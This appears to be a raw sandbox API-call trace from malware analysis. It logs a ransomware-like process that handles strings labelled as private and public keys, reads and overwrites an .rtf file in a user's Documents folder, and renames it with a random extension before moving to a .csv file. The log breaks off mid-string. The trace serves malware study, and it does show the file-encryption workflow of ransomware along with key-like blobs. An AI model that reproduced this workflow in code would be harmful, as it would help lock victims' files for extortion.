lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.572] GetCurrentThreadId () returned 0xa30 [0088.572] GetCurrentThreadId () returned 0xa30 [0088.572] GetCurrentThreadId () returned 0xa30 [0088.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.573] GetCurrentThreadId () returned 0xa30 [0088.573] GetCurrentThreadId () returned 0xa30 [0088.573] GetCurrentThreadId () returned 0xa30 [0088.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\vctdac7wdvfxK.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\vctdac7wdvfxk.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0088.573] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0088.573] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0088.573] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x65e7 [0088.573] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0088.573] ReadFile (in: hFile=0x118, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x65e7, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f3d4*=0x65e7, lpOverlapped=0x0) returned 1 [0088.575] CloseHandle (hObject=0x118) returned 1 [0088.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\vctdac7wdvfxK.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\vctdac7wdvfxk.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0088.578] WriteFile (in: hFile=0x118, lpBuffer=0x1f28130*, nNumberOfBytesToWrite=0x65e7, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f28130*, lpNumberOfBytesWritten=0x18f3e0*=0x65e7, lpOverlapped=0x0) returned 1 [0088.581] CloseHandle (hObject=0x118) returned 1 [0088.581] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\vctdac7wdvfxK.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\vctdac7wdvfxk.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\vctdac7wdvfxK.rtf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\vctdac7wdvfxk.rtf.zv7un")) returned 1 [0088.583] GetCurrentThreadId () returned 0xa30 [0088.583] GetCurrentThreadId () returned 0xa30 [0088.583] GetCurrentThreadId () returned 0xa30 [0088.583] GetCurrentThreadId () returned 0xa30 [0088.583] GetCurrentThreadId () returned 0xa30 [0088.583] GetCurrentThreadId () returned 0xa30 [0088.583] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e77be0, ftCreationTime.dwHighDateTime=0x1d5e11a, ftLastAccessTime.dwLowDateTime=0x6d41d190, ftLastAccessTime.dwHighDateTime=0x1d5e5e1, ftLastWriteTime.dwLowDateTime=0x6d41d190, ftLastWriteTime.dwHighDateTime=0x1d5e5e1, nFileSizeHigh=0x0, nFileSizeLow=0x9bed, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZBpLsdIGq.csv", cAlternateFileName="ZBPLSD~1.CSV")) returned 1 [0088.583] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.583] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\ZBpLsdIGq.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\zbplsdigq.csv"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e77be0, ftCreationTime.dwHighDateTime=0x1d5e11a, ftLastAccessTime.dwLowDateTime=0x6d41d190, ftLastAccessTime.dwHighDateTime=0x1d5e5e1, ftLastWriteTime.dwLowDateTime=0x6d41d190, ftLastWriteTime.dwHighDateTime=0x1d5e5e1, nFileSizeHigh=0x0, nFileSizeLow=0x9bed)) returned 1 [0088.583] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\ZBpLsdIGq.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\zbplsdigq.csv")) returned 0x20 [0088.583] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\ZBpLsdIGq.csv", dwFileAttributes=0x80) returned 1 [0088.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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